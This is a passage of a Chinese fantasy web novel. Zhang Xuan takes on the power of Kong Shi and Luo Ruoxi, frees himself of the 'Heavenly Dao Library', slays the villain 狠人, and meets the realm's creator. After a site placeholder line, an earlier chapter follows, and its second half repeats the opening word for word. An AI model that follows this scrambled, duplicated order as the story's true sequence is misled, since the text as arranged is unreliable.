张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第一百零四章 神女斗蛟龙(二) 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! 